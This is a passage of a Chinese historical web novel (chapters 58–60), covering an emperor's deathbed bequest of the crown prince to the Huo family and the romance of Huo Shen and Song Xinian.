“你是不想活了吗?居然现在才来开门!”
带头的人推开门,站在门口对跌坐在地下,已经蒙了的小袁大吼道。
小袁抬眼望去,只见站在自己面前的是身穿铁甲,腰佩大刀的玄衣侍卫。因为天气太冷。小袁听到有人叫门也并未第一时间起床穿衣开门,而是不急不躁嘴里抱怨着开了门。
寒冬腊月,风如刀刃,本就在宫里当了一夜值的侍卫,眼见着要到换岗的时候了,上面突然传话,叫他们来霍家接人,到了霍家,这守门的下仆还消极怠工,叫他们在冷风中吹了许久,领头的侍卫这才忍不住看见人的那一刻,一脚踹开了只开了一个门缝的大门,想要给这该死的下仆一点教训。
在皇宫这些侍卫平日里对于上位者们小心谨慎的伺候着,他们就已经习惯了,但是出了宫,他们实在无法接受一个下仆对自己的怠慢,所以也是成心教训,也顺带发泄一下存在自己内心的所有负面情绪。
小袁吓得失了魂,身体不停颤抖,不知是被吓得还是被这冷风吹的,但是他还是很快反应过来,立马跑去传话。这些侍卫虽越俎代庖教训了人,但也不敢太放肆,这毕竟是帝师府,他们最后还是规矩地退到门外等候,只是霍家被踢开的大门始终是敞开的。
片刻霍家的管家小跑着过来迎接,看见侍卫头领脸色不善,又看了大门上毫不掩饰的脚印,就把事情猜了大概。
管家对侍卫头领笑着说道:“这天寒地冻的怠慢了诸位,还请多担待,回头我们会好好调教不懂事的下人。”
管家身段放得很低,给足了侍卫头领面子,亲自为其掌灯引他们进府,侍卫头领知道这位管家在霍家很有地位和体面,也不好不给面子,也就顺着管家下了他给的台阶。管家带人进门前,不着痕迹地看了大门一眼,跟着来的下人们立即会意,快速擦掉了门上留下的脚印。
收到下人来报的霍岩更衣,并叫人通知了霍恒在家守好门户。
来到大厅的霍岩看着传话的侍卫,问道:“周统领,如此突然的到访可是宫里出事了?”
霍岩并未直接就走,而是先开口搞清楚状况。
“下官也不是很清楚,只是负责传话,帝师,上头要求贵府四公子也要随您一同进宫!”
周统领不卑不亢地说完,霍岩的瞳孔猛然放大,却又很快恢复正常。
“那还请在此稍候,我这就去差人告知他!”
霍岩并没有问要霍慎一同入宫的原因,只是陪着他们在大厅等候霍慎,显得十分淡定从容。
霍慎收到消息时一边由着阿无给自己更衣,一边想着其中的缘由,自从帝王重病,自己从未像今日一样和祖父一起奉旨入宫,这一切来得都太突然了。
虽然霍慎不喜欢烛火太亮,但是今晚在收到消息的第一时间,他就叫阿无点燃了卧室的所有烛台,此刻屋内烛火照亮了房间里的每个角落,霍慎看着亮堂的房间,他的内心才稍微平静不少,好似满屋的光亮也照进了他的心。驱散着他内心的不安。
当三人正准备踏出霍家大门时,外面突然飘起了雪花。霍慎看着缓缓下落的雪花,抬头看着天空,趁着排队上马车之际,霍慎靠近阿无对他低语,之后头也不回地上了马车。见着马车逐渐远去的阿无,缩着脖子。双手藏于棉袄的袖口中,吸了吸鼻子,转身进了霍府。
霍慎落后霍岩一步,有条不紊地跟着霍岩,祖孙二人顶着今年冬天的初雪,走在宫道上,寒风刮在他们脸上,让他们真切地感受着冬天的无情与冰冷。
此时的天微微亮起,宫道上陆续出现了零散的宫人。有的是刚下职的,有的是刚起床准备去当职的,他们的形色各异但是步履匆忙,路过霍慎时,会规矩行礼。霍慎看着他们也对皇宫生活有了想象的空间。
霍慎进入皇帝寝宫之后,就发现了熟悉的身影,蒋明和王靖宇都在外殿焦急等待,原本低头的王靖宇偶然抬头发现霍慎也来了,他一时没有控制住,出声叫住霍慎,立马引来了所有人的注视,王靖宇也只好老实地闭上嘴,但本来皱着的眉头却不自觉加深了几分。
“老师来了没?”
躺在龙榻上的皇帝,气若游丝地问着身边的皇后。
不等皇后吩咐黄内侍就自觉到外殿查看,并引着霍岩进入内殿。
霍岩轻车熟路地来到龙榻前,正准备行礼,却看见颤巍巍伸出瘦骨嶙峋的手,霍岩下意识地一把握住,说了一句:“老臣来了!”
“老师,我……我知道……我的时间……不多了!”<
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p>这简短的一句话,他却说得费尽了力气。
霍岩看着衣着凌乱的帝王,双眼微睁看着明黄的床顶,皇帝眼下的乌黑一片,双眼凹陷无神。四肢瘫软,但是握着自己的手却还是很有力气,即使那只手也已经瘦到皮包骨了,但还是紧握着霍岩长满了老年斑的手,就像是把所有力气都用来抓住这唯一的救命稻草一样、
“皇上,外面下雪了!”
霍岩语气温柔地说着,就像在哄小孩。
听到这句话,原本死气沉沉的皇帝,居然来了精神,想要挣扎着坐起身。
身边的人想去扶,但是皇帝却抬手挥开所有人,说道:
“我有老师就够了!”
此时的帝王任性地仿佛回到了幼年时期。
霍岩亲自扶起了皇帝,拿了许多软枕给他垫着,这个过程中皇帝始终不肯松开霍岩的手。一切安置妥当后,皇帝已经筋疲力尽,呼吸变得绵长。呼出的气体中甚至带有淡淡的中药味,可想而知他是多想活,却已是无力回天。
黄内侍拿来了参片给霍岩,霍岩亲自将参片送入皇帝嘴里。
“还记得,我少年时偷懒赖学,老师也是像现在一样将参片送入我嘴里,让我提神补气的。”
皇帝笑着说,眼角的泪水缓缓滑落,眼神里满是对少年时期的留念。
霍岩只是静静地听着皇帝的倾诉,没有言语,只是握着皇帝的手又紧了些。
“我真的很不甘心,我还有很多事情没有做完,但显然老天是不打算给我机会了,老师您是我最信任的人,我没做完的事,老师帮我做完吧。”
说完示意皇后叫太子进来。
“皇上,您的衣服乱了。”
闻言皇帝第一次松开了握着霍岩的手,霍岩替皇帝整理着凌乱的衣衫,最后将皇帝眼角的泪水拭去,又帮他整理了散乱的头发,让他这个帝王在继承人面前还有最后的威严,也让一个父亲在自己儿子面前不至于太狼狈。
太子进来后,向皇帝行跪礼,霍岩想要避开,却被皇帝拉住,说道:
“您受得起他这一拜!”
太子规矩地行礼完毕,皇帝突然大笑。
“老师,既然你受了我儿子的叩首,您就要对他也负责到底了!”
此刻皇帝脸上洋溢着胜利的笑容。
随后皇帝把所有人叫进内殿,招手叫来了太子和霍慎,示意他们两个上前说话。
“当年我的父皇也是这么把我的手交到老师的手里的!我现在把我的儿子也交给我为他选择的人,霍慎你敢接吗?”
虚弱的皇帝此刻露出了属于帝王的气势,目光犀利地看着霍慎,等待着他的选择。
霍慎当下很是不解,为何皇帝会选择自己,既然之前已经选择了自己的祖父,现在就没有理由再选择自己,霍慎看似现在是站在选择的分岔路口,但是其实所有人都知道霍慎只有一条路可走!
58. 第 58 章
事情发展到这一步,也由不得霍慎选择了,霍慎便顺其自然,尽人事,听天命!
“既然皇上信得过,那我就斗胆一试,但不知太子殿是否信得过我?”
霍慎不想自己成为问题的主导者,便直接把决定权交给太子,由他做最后的选择,这样自己进可攻,退可守,没有损失。
大家的注意力一下子又回到太子身上,太子发觉霍慎的确聪明,他对霍慎的表现很是满意,自然不会拒绝。
“霍四公子,本就机智过人,又是父皇给我选定好的人选,本宫于情于理都不会拒绝的!”
太子这话说得很是巧妙,他称呼霍慎为霍家四公子,而不是霍慎,也就是说太子把霍家和霍慎捆绑在了一起,若是将来祖孙俩出现分歧,只要不拿到台面上来就是霍家自家的分歧,若是拿上台面必然要是意见统一的,否则霍家就休想在朝堂长久立足,迟早分崩离析。这也就很好地牵制了霍家。
“那我还有一个要求,请太子殿下务必答应!若是决定信我便永不能疑。我也承诺殿下,只要君不疑臣,臣必忠!”
霍慎还是想为自己和霍家尽量争取未来的筹码,尤其是现在先帝未亡,新帝未出时,是最绝佳的时间。
二人的博弈不分胜负,棋逢对手!
“老师,你瞧见了嘛,我的选择没错吧,你这孙子论才智和胆量都不输给您,甚至还比您多了几分傲气在!”
皇帝像是邀功似的,和霍岩说着,如同之前很多次一样,坚信自己的选择是对的,或许这就是身为帝王的通病。
皇帝又当着众人的面和霍岩絮絮叨叨说了许多往事,也许人之将死,记得最清楚的反而是从前的往事,交谈中皇帝始终没有自称为‘朕’都是用‘我’代替,这足以证明霍岩这个老师在皇帝心中的地位。
霍岩始终是握着皇帝的手,静静地听他说着,就像从前霍岩给皇帝上课时一样,也是认真聆听着,给足了尊重。
“老师。我要是再睡会儿,您在这儿陪着我吧!”
“好!”
只这一个字,消除了皇帝心中从前对霍家的所有怀疑,也保住了霍家未来的长盛不衰!
霍岩轻轻扶着皇帝躺下,为他盖了被子,之后就坐在床边,坐在这个离皇帝最近的位子上,紧握他的手,像是在给皇帝最后的安全感。
皇后吩咐了其余的人下去休息,但没有准许他们出宫,内殿里只留了霍岩、皇后、太子和黄内侍陪着皇帝迎接属于他生命的尽头。
就这么等了三日,沉睡了许久的皇帝悠悠转醒。皇帝醒来就看见趴在自己床头的霍岩,即使是睡着了霍岩也没有松开紧握着皇帝的手。
皇帝动了动手,霍岩就立马醒来了,抬头关切注视皇帝,深邃的眸子里,透着欣喜!
“老师,我饿了!”
皇帝醒来的第一句话,就是找吃的,霍岩知道这是回光返照,但还是很庆幸皇帝最后有清醒的时候,起码不会太狼狈地迎接死亡。
皇后进来察看皇帝时,就看见皇帝坐在梳妆台前,由霍岩给他挽着发,皇帝透过铜镜对着这个与自己相伴二十年的妻子微笑,夫妻之间在这一刻一笑泯恩仇!
皇帝的洗漱是由太子亲自侍奉,更衣是由皇后上手,黄内侍为皇帝换了新的床铺,皇帝最信任的人,都在为他做着最后的事情。
一切妥当后,皇帝再次把众人叫到跟前做着最后的安排和嘱托。
皇帝的最后一餐拒绝了山珍海味,只叫人做了一碗糖粥来吃。
“老师,您能否像初见时那样,再喂我吃一次糖粥?”
皇帝当众提出这个要求,但是在场的众人并没有觉得荒唐,毕竟‘人死如灯灭’死者为大!
心满意足地吃完糖粥的皇帝,执意要躺在霍岩怀里,霍岩只能坐上龙榻,用身体支撑着皇帝。
“老师,您是不是对我很失望,如今我先去黄泉路上为老师探路,也算是我对老师的报答和赔罪了!”
“你已经做得很好了,我从未对你失望过!”
霍岩浑厚沙哑的声音,说着安慰皇帝的话,霍岩知道这也是自己最后给这个学生安慰了,他一直都知道皇帝想要的就是这句话。
皇帝闻言,便向太子招手,太子立即跪在床前,皇帝的手抚摸着太子的头,说道:
“我相信你一定也能做得很好,不会让我失望的,若要皇位稳固,你必须和你信任的人一条心,这是你皇祖父临终前留给我的最后一句话,我现在也留给你,你将来也可留给你的儿子。和我一条心的是霍家,你的会是谁呢?不管你的是谁,霍家不能亡,你明白吗?”
皇帝重重地在太子的头上敲了敲,像是嘱托更像是提醒。
皇帝根本不在意太子是否将来会像自己一样对霍家,他的目的是为霍家留下最后一道保命符,也算是给这个给了自己父爱的老头,最后的恩赐吧!
皇帝最后敲的五下,对应着“霍家不能亡”太子知道自己父亲这是一语双关,既想让自己护住霍家,又想让霍家护住自己。这五个字彻底把自己和霍家绑在一起。
说完皇帝在霍岩怀里闭上了眼睛,他的一只手被霍岩握着,一只手搭在了太子的头上,这也印证了皇帝是他们二者之间最好的桥梁。
“征儿,你安心去吧!”
霍岩最终还是说出了这句话,做出了对这个学生的最后承诺。一滴泪悄悄地从霍岩的眼眶溢出,包含了霍岩对逝去之人的感情。
太子依旧跪在原地,头顶上皇帝的手还有温度,突然太子感觉头顶上手的力度加重了,抬头看去,原来是霍岩也把手放在了太子头顶,这也表明了霍岩对太子的认可。
这一刻,之前所有的算计都烟消云散,承载他们的是对故人的情感羁绊。
霍岩带着霍慎走出皇宫时,天空的雪已经停了,但是地上的积雪,证明着时间的流逝,一切都即将是新的开始。
霍慎回到家里,直接去了卧室,阿无则在霍慎踏入院子时,就跟在
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霍慎后面欲言又止。
待霍慎坐定,霍慎看着阿无,阿无面露难色,不知道怎么说。
三天前,阿无遵照霍慎的吩咐,去了乐章台找宋昔年,并带着一座宅子的地契要交给宋昔年。宋昔年看到地契后,心口滚烫,准备带着之前的十一万两银票去交给杜妈妈,便打发阿无先回去。
宋昔年直奔三楼,却看见贺怜怜也站在房门外,阿悯则是告诉她们稍等片刻。
不过多时杜妈妈叫她们进屋,宋昔年发现屋内突然变得很冷,地板上还有未化的,雪花残留,茶具也多了一套在杜妈妈对面,很明显这是有人到访过的样子。
“又是哪位神秘人刚来过?”
贺怜怜直接开口询问,她觉得以自己现在的身份,可以知道一些事情了,
“皇上快要宾天了,我很快就自由了!”
杜妈妈声音是欢快轻松的,但是眼神却是幽怨哀伤的。
这个消息实在是太突然了,两人都没想到会这么快,明明说了,还有半年的。她们都猜会在春天的时候,但是今天才刚下了第一场雪呀。
“那接下来我们该怎么办?”
贺怜怜看了一眼宋昔年。宋昔年默默拿出怀里的东西,递到杜妈妈眼前。
“天真!”
杜妈妈看了一眼宋昔年递来的东西,只说了这两个字。
宋昔年一头雾水,却又感觉莫名心里发毛。
这一切的一切每次都会超出她的预想范围。难道人想掌控自己的命运这么难嘛,宋昔年在心里不断思索,想找到答案,却被一次次的现实击溃,难道最终妥协才是她的命运吗?
“我只问你一句,你想你爹活吗?”
杜妈妈一句话,吓得宋昔年散了魂魄,她的答案根本不用问。但是杜妈妈还是问了。看似给了选择,实际没有选择。
“我可以告诉你,害得你如此境地的人,此刻都在宫里,霍慎也在宫里,你该如何选?”
“怎么可能?”
宋昔年瞬间崩溃。
宋昔年明白了杜妈妈话中的意思,她是说霍慎也是导致宋家惨况的凶手之一,宋昔年很难想象意向中立的霍家会是凶手,但是可笑的是宋昔年的直觉告诉自己杜妈妈说的是真的。
“你父亲昨天在北境矿场遭到刺杀,如果你还是不改变主意的话,我想你爹只有死路一条了!”
杜妈妈喝着茶,眼神中的情绪让宋昔年看不懂。
“您明明知道是谁,为何不能直说,我和霍慎在一起为什么我爹就会死?”
宋昔年感觉自己下一秒就要疯掉。
太多问题交织在一起,越想弄清楚越弄不清楚,就像宋昔年每次感觉看到一点希望了。迎接她的必然是更大的绝望。根本不给她喘息的机会。
“我就算告诉你了,你能怎样,你们现在没有反抗的实力和机会,不如静待来日,一击必杀,何必现在打草惊蛇,你说呢!”
杜妈妈这话说得十分诚恳。
59. 第 59 章
静待来日,一击必杀!宋昔年反复想着杜妈妈的这句话,心里做着计算。宋昔年知道自己现在没得选,但是她还想见霍慎最后一面。
“妈妈,现在距离入宫应该还有几日吧,我想再考虑一下!”
宋昔年犹豫半天,说出了这句话,她也知道自己有点没出息,但是宋昔年还是想为自己的爱情做最后的努力。
“这些东西还请妈妈为我保管几日。”
宋昔年有些尴尬地说出这句话,对杜妈妈勉强露出微笑。
“你为何执念这么深?哎~罢了,你去吧!”
杜妈妈觉得自己对宋昔年已经仁至义尽了,一切就由着她,随心选择吧,毕竟个人有个人的缘法。
宋昔年回了下院,看着母亲和嫂子坐在床上穿针引线,突然开口问道
“现在买下一个宅子大约要多少钱?”
婆媳俩都在埋头做着手上的事情,突然听见宋昔年的这句话,二人都停了手上的事情,抬头看着宋昔年,等着她继续说。
宋昔年对上她们的目光,下意识地解释说道:
“我是看现在我们手上的钱,也不少了,若是放在钱庄里,不如拿出来买了宅子实在,我们现在还没有自己的房子,我心里总是有点不安的。”
宋母听宋昔年说完,就起身下床,在柜子里拿出装银子的匣子,放到了八仙桌上,洪媛下床在炭盆里添了煤炭,也来到桌前坐下。
“手上的现银就这么多。”
宋母用钥匙打开带锁的,黄色匣子,给宋昔年看。
匣子里红色的钱袋装的是王靖宇前段时间给的二百两,旁边是许多散碎的银角子,都是平日里她们省下的,总共二百四十两。
“现在京城的宅子最少也要百两起步,地段不好,人源杂乱,三教九流的都有,治安好一点的,也是要二三百两了,以我们现在的现钱也是能买得起的。”
洪媛提出了自己的看法。
“那找时间去问问房牙子,看看有没有合适的,我们也买一间宅子。”
宋母最后拍板定下此事。
宋母不想将来宋昔年嫁进霍家带着她们一起过去,她不想寄人篱下,这样宋昔年在霍家会更抬不起头,而且宋母其实内心里还期望着未来丈夫带着儿子们能够回来,到那时也是需要一个安身之所的。
突然外面有人敲门,宋昔年打开门发现,是阿昙在门口,就邀请她进屋,阿昙却摇头拒绝。
“我正要上街采买,就想问问姐姐可有什么需要的,我帮着姐姐一道带回来,也好还了姐姐给我带糕点的情,若是姐姐愿意,我们也可结伴上街的。”
阿昙站在院门外,等着宋昔年的答复。
“我并没有要带的东西,若你真想帮忙,就帮我去霍家给阿无捎一句话,就说等他家公子回来,让他来乐章台告诉我一声。”
阿昙爽快地答应了宋昔年,并表示自己一定把话带到。
阿昙敲响了霍家的后门,来开门的是一个胖大婶,阿昙见了人就拿出了早就准备好的几个铜板,塞到那大婶的手里。
“婶子,可认识四公子身边的小厮阿无小哥,我找他有点事,婶子能否帮我给他递个话?”
阿昙讨好地对那胖大婶笑。
看着这小姑娘,衣着得体,而且她刚还收了人家的钱,现在自然不好拒绝阿昙只能答应帮她。
没一会儿,阿无慢悠悠地到了后门处,远远瞧见是阿昙,就加快脚步,出了后门与阿昙说话。先前有人递话说后门有一个小姑娘找自己,自己还十分疑惑,阿无确定自己没有和任何姑娘有过交集,怎么会有人无缘无故特地找自己,打搅自己烤火。
“我哪里有认识的姑娘,别是想找我打秋风的,你帮我回了吧,这天寒地冻的,我实在是不想动。”
“可那姑娘,穿得很厚实,也得体得很,我瞧着不像是打秋风的,小哥还是去看看吧!”
胖大婶劝说阿无去看一眼,毕竟她收了人家的钱,便尝试说服阿无。
阿无听胖大婶这么说,也好奇起来,和屋里的宋诺交代一声便跟着胖大婶去了。
“阿昙姑娘找我有事?”
阿无看着阿昙搓着手再等自己,有些歉意地开口询问。
“年姐姐,让我带话,说若是四公子回来,让你去乐章台告诉她一声。”
等的时间有些长了,阿昙被冻得有些受不住,快速地把话说完,没看阿无一眼,转身就走了,去找同行的小姐妹会合了。
阿无还没反应过来,就已经看不见阿昙的身影了,阿无也觉得这天气冷得可怕,便敲门进府,不再停留。
刚进去就看见那胖婶子,一直对他笑,说道:
“小哥和那姑娘认识吧,你看着天冻死人了,我……”
胖婶子的话还没说完,手里就多了二十文。
“辛苦婶子了,这点钱给婶子们买些酒喝,暖暖身子!”
阿无向来很会来事,过年时也得了不少赏钱,所以也不在乎这仨瓜俩枣的。
时间转眼就过,霍慎回来时,阿无在边上感觉气氛不对,就知道事情恐怕不好,瞧着霍慎脸色很不好,满脸疲惫,便在犹豫要不要立马就说出宋昔年叫传话的事情。
“想说什么便说,别在这碍我的眼!”
霍慎低沉着嗓子,带着说不出的疲惫。
“也没什么,就是公子未归时,宋小姐托人带了话,让您回来告知她一声。不如公子先休息,等明日再去乐章台。小的先去传个话。”
阿无担忧自己说了宋昔年找他,霍慎霍立即去乐章台,所以提前表示自己可以先传话。
“国丧期间,不方便去乐章台,你帮我告诉她一声,让她明日午时去梦仙楼等我!”
霍慎这几天的神经实在绷得太紧了,倒床就睡,阿无帮霍慎脱去鞋袜,盖好被子,静悄悄地出去了。
霍慎没想到这一切来得这么快,如今的这个结果是最好的了,但是他又有点感觉不太真实。生命是这么的脆弱,即使那个人是皇帝也不能逃脱生老病死。
霍慎更没想到霍岩与皇帝之间的情感这么深,从皇帝临终前的表现来看,这对师生之间的感情
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不浅。虽然之前可能皇帝对于霍家有过猜忌怀疑,但是在关键时刻,皇帝还是把自己的一切都托付于这个从小教他的老师,最后皇帝也只能信任这个老师。既为儿子找了一个可以依靠的人,也维持了霍家世代的富贵荣耀。
正是因为如此,霍慎压力才更大,他担心以后到了自己,是否会比祖父做得更好,祖父与先帝之间是师生,有感情羁绊,祖父兢兢业业一辈子,还是没能躲过帝王的疑心,自己将来要如何获得新帝的真正信任,再面对猜疑时,是否能向祖父一样最后全身而退。
也许真的是因为太累了,霍慎不知何时睡着了,醒来时已是黄昏日落时。
霍慎正在愣神时,阿无进屋为屋里添加炭火,发现霍慎醒了,便倒了杯水,递给霍慎。
“公子,现在可要用饭,小厨房一直备着饭食的。”
“什么时辰了?”
霍慎感觉这一觉睡得迷迷瞪瞪,他暂时大脑停止思考了。
“现在戌时刚过。”
阿无在一旁静候着,随时等着霍慎的吩咐。
“我居然睡了这么久吗?可有人来找过我?”
霍慎喝着茶,竹叶青的清香茶味,让霍慎清醒了不少,霍慎动了动睡得僵硬的脖子。下床穿鞋。
“大公子和老爷都派人来问过,知晓公子还在睡就没有打扰,说了明日一早叫公子去老爷的院。”
阿无接过霍慎手中的茶杯,一字不落地做着转达。
先帝宾天,接下来的事情肯定不少,天意就是要把这么多事情都放在一起,霍慎有点分身乏术,但是这些事情又不得不做,每件事情都是要和时间赛跑。
“我饿了,备饭吧!”
事情再多也要慢慢做,现在事情虽多但是好歹都能进行下去,只要没有大的意外都能有个好的结果,这让霍慎松了口气,一种尽在掌握的感觉又重新回来了。一切都变了但是一切仿佛又没变。
阿无看着霍慎把饭菜都吃完了,一时间有点感动,在阿无的印象里,霍慎许久都没有这么积极地吃饭,以前总是吃一点,有时候没胃口干脆不吃,今晚霍慎的举动,让阿无知道霍慎的心情变好了,在阿无看来这就是最好的事情。
“你今天去找她,她和你怎么说?”
霍慎放下筷子,开始关心宋昔年的情况。
“小的去乐章台传了话,没发现什么不对劲,小姐还问了我阿诺的近况,似乎心情不错!不过小姐问我有没有相熟的房牙子,估计有买房的打算。”
“买房?她的确是成长了不少,都学会提前计划了!”
霍慎感慨宋昔年的变化,霍慎觉得所有事情都没有什么绝对的好坏,所有的东西都是福祸相依的。
“我告诉了小姐先帝宾天的消息,但是小姐似乎并不意外,而且我瞧着乐章台里面好像在改变所有的布置陈设,去掉了所有的红色装饰。”
“还没昭告天下,乐章台怎会行事这么奇怪?难道提前得到了消息?这背后到底隐藏了什么秘密?”
霍慎的眉眼,在昏暗的烛火下,显得更加深邃。
60. 第 60 章
霍慎觉得事情越来越不简单,为什么会有这么多巧合交织在一起,这一切真的都是巧合吗?所有的事情都引人深思。
翌日清晨,霍慎按时来到霍岩的院子里,霍慎是第一个到的,霍慎看着只有一人的院子,并未叫仆人关了门窗,寒风从敞开的门窗中灌入室内,吹得霍慎的衣角有节奏地摆动着,霍慎似乎能闻到风中淡淡的新鲜空气的味道,冻得霍慎身体温度瞬间下降,但是冷风吸入鼻腔,进入肺腑,冰冷彻骨,不断地刺激着大脑,让霍慎清醒了不少,又是过了好几个呼吸,霍慎才让阿无去关了门窗。
待霍恒进来时室内的温度还未完全上升,霍恒刚进屋就扫视四周,怀疑是门窗留缝太大,或是炭火不足,这室内的温度也不比室外高多少。
“这屋里怎么这么冷?是不是下人们燃炭盆燃晚了?”
霍恒怀疑是仆人偷懒才出现这种情况。
“大哥不必问了。是我刚来的时候,吩咐他们别关门的,我昨儿睡的时间太长了,早上起来脑袋不清醒,想借着冷风醒神来着。”
霍慎告诉了霍恒缘由,邀请霍恒坐下。
霍恒知道后也并未说什么。他知道霍慎,这几日压力有点大,毕竟当众被皇帝委以重任,就说明将来霍家的兴衰主要系于霍慎一人之身了,这一切对于现在的霍慎来说都太突然了。
“你压力也别太大,目前还有祖父在,你不过是从旁协助,还有许多时间可以慢慢学,不用操之过急的。”
霍恒安慰着霍慎,希望他能放平心态。
“大哥说得是,欲速则不达,我会慢慢来的。”
现在对于霍家的考验才算真正的开始,一切都需要重新积累,既要帮新帝稳住江山社稷,又要防止霍家因树大招风遭人算计,所以首先必须保证自己不能乱,稳扎稳打才是上策。
正说着霍岩来了,霍岩一夜之间好像老了好几岁原本挺直的腰板也变得佝偻了些许,霍家也只有霍岩会为先帝的去世而感到伤心,这无关地位荣耀的不稳,而是纯粹的因为死去的是霍岩倾注了心血的学生。
“今日我叫你们兄弟俩来,是为了提前商量一下,霍家未来的规划,先帝这件事也让我体会了什么叫世事无常,所以我打算提前安排好未来的事情,以防不测。你们一个掌握着霍家未来的安定,一个掌握着霍家未来的荣华,故此我找你们俩一起商议。”
霍岩这话说得很直白了,也是对于二人的认可,更是决定把家族未来的兴衰交予他们,这一切是在情理之中也是在意料之外的。
霍慎虽有理想和抱负,但是他从未想过要成为整个霍家的兴旺之源,要把霍家整个希望系于自身。
“后天就是先帝的出殡之日,之后便是新帝的登基之时,目前你们觉得我们的当务之急是什么?”
霍岩提出了问题,也是想对他们做个基本的考察。
霍慎看了一眼霍恒,霍恒无奈率先开口,说道:
“攘外必先安内,这是亘古不变的道理,所以要先帮太子解决朝堂的问题,才能继续进行下一步,只要先解决了这个,霍家自然就取得了太子的信任。”
霍恒说完对着霍慎笑了笑,明显是在等着霍慎的回答。
“朝堂内部的问题,恐怕不是一日形成,更有可能牵连甚广,想要快速解决怕是不能,这件事肯定要和太子商议,但我觉得他们不会轻易露出马脚,但是时间对于我们来说很重要,与其等待,不如主动出击,毕竟进攻才是最好的防守!”
霍慎也说出了自己的想法,这也是他深思熟虑之后给出的唯一答案。
“看着你们兄弟二人想法统一,我就放心了,说明我的选择没有错!”
霍岩很是欣慰地说。
祖孙三人又聊了一会儿,之后霍岩就叫他们散了,但是霍慎并没有离开,霍恒见状知道他们是有事单独要说,便先行离开了。
“祖父可知先帝为何选我做你的接班人,将来辅佐太子?那天祖父是不是一早知道我会被传召入宫?”
霍慎单刀直入,不想浪费多余的时间,直接问霍岩。
“哈哈哈,我还以为你一出宫就会问我,没想到你这么沉得住气!是你自己说你是全家最适合这条路的人啊,你忘了?所以先帝问我。我就提了你,我毕竟老了,且先帝很欣赏你才华。”
霍岩此刻有点幸灾乐祸,对于霍慎霍岩一直觉得他太恃才傲物,这样的话若是没有正确的引导,将来怕是会出事。
霍慎没有想到,自己当时一句自满的话,会导致现在这样的结果,虽然说不上后悔,但是总感觉哪里怪怪的。事已至此霍慎也只有坦然接受,霍慎起身行礼告辞,霍慎向霍岩行的是正礼,也是表达了对霍岩的感谢。
回到自己房间,霍慎换了衣服,准备赴约梦仙楼。
霍慎到了梦仙楼进入雅间时,宋昔年早就到了,宋昔年此时正面对街景出神,没人知道她在想什么。
“我可是来迟了?”
霍慎出声,宋昔年立刻回头,在对上宋昔年那久违的笑容时,霍慎知道此刻的宋昔年又回到了当初,这也是他期望的结果。
今日的宋昔年早早地起床装扮,她今日穿上了新做的桃粉外袄,头上只用珍珠做点缀,并无金银配饰,用了桃花香粉,很符合今天的装扮。
“是我来得太早了而已!”
只这一个回答,再没有其他,经历了这么多宋昔年已经不是当初那个天真少女了,而且她和霍慎之间终究是回不到过去了。
在霍慎看来宋昔年现在的确比从前稳重许多,霍慎并没有觉得有什么不对,宋昔年还是宋昔年他也还是他,过不了多久他们一切又要重新开始了。
“我给你的东西,你有给杜妈妈吗?”
霍慎随口问着宋昔年,给她空了的杯子添着茶水。
“当天就给了,赎身的契约和文书上需要你的签字,你打算何时去?”
“先帝宾天忌娶妻纳妾,我一时半会儿,不能在官府文书上签字。”
听到霍慎的这个回答宋昔年的心凉了半截,即使
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她来之前做了心理准备,但是此刻宋昔年的脸上还是露出了不自然的神色。
霍慎察觉了宋昔年脸色的变化,他解释道:
“你放心,我不会让你等太久,你不是准备买宅子嘛,你先自己签字自赎之后,去宅子里小住,我会尽快娶你进门!”
霍慎拉住了宋昔年的手,想要加深话语的可信度,也安抚宋昔年的情绪。
“你最后给了一处宅子在里面,我以为你是为了想亲自赎买我,故意为之,如今看来是我会错了意呀!你从来没有替人赎买过,可能你不知道,用署名的凭契做赎买,就必须是原主亲自签字的,我没办法自赎!”
这一番话,让霍慎不知所措,霍慎陷入两难境地,原本是因为银钱不够,霍慎才拿出了自己名下唯一的宅子,这是霍岩给霍慎的分府之所,地段绝佳,左邻右舍都是达官显贵,所以他加进了赎买里。
宅子虽然不值四万两银子,但是根据本朝律法,贱籍者在市面上是买不到官宦宅邸,以官宦为邻,常理来说杜妈妈的身份是买不到这种地段的宅子的,所以这宅子的价值对于杜妈妈来说远远超过四万了。
霍慎问宋昔年是否交给杜妈妈,就是为了确认杜妈妈收下了宅子没有,收下了就是代表同意霍慎的方案了。但是霍慎没有想到还需自己亲自去签字确认。
思考间霍慎不自觉地加重了握着宋昔年的力道,宋昔年即使感到疼痛,也不反抗,只是微微皱眉,静静等待霍慎的回答。
此时的霍慎说白了就是无计可施,他拿不出四万替换宅子,国丧期间禁止一切喜事买卖,再说他的宅子放在别人那里根本不值四万两银子。
正在僵持中,小二在门外问,是否要点菜了,宋昔年才用力抽回手。
“不必了,我们照价付雅间费!”
宋昔年开口回绝门外的小二,小二识相退下。
“你不必苦恼了,我自有办法解决!”
宋昔年这话说得十分轻松,露出的笑容也灿烂异常。
霍慎还未反应过来,宋昔年就已经走到霍慎的身边,拉起了霍慎的手,牵着霍慎站了起来,缓缓地抱住了霍慎的腰,宋昔年将头贴在霍慎的胸膛上,仔细地听着霍慎的心跳,宋昔年在这一刻只想安静地享受和霍慎的最后时光,好好地和她的爱情道别。
霍慎在宋昔年靠近自己的那一刻,熟悉的桃花香粉味道冲入他的鼻间,他也自觉地环住宋昔年,这一刻他们只有彼此,但心态却完全不同。
许久之后,宋昔年松开了霍慎,抬头认真地看着霍慎问道:
“经历了这么多,我们还是走到了这一步,我不会后悔,我的选择,你呢?”
“我从没有后悔的事!”
霍慎的目光透着自信,这种自信以前是最吸引宋昔年的,但是此刻却刺痛着宋昔年的心。
宋昔年突然明白原来自己从来都不是霍慎的第一选择,直到今天宋昔年才坦然接受这个残酷的事实,他们之间的结局既有天定也有人为,她努力过了就够了。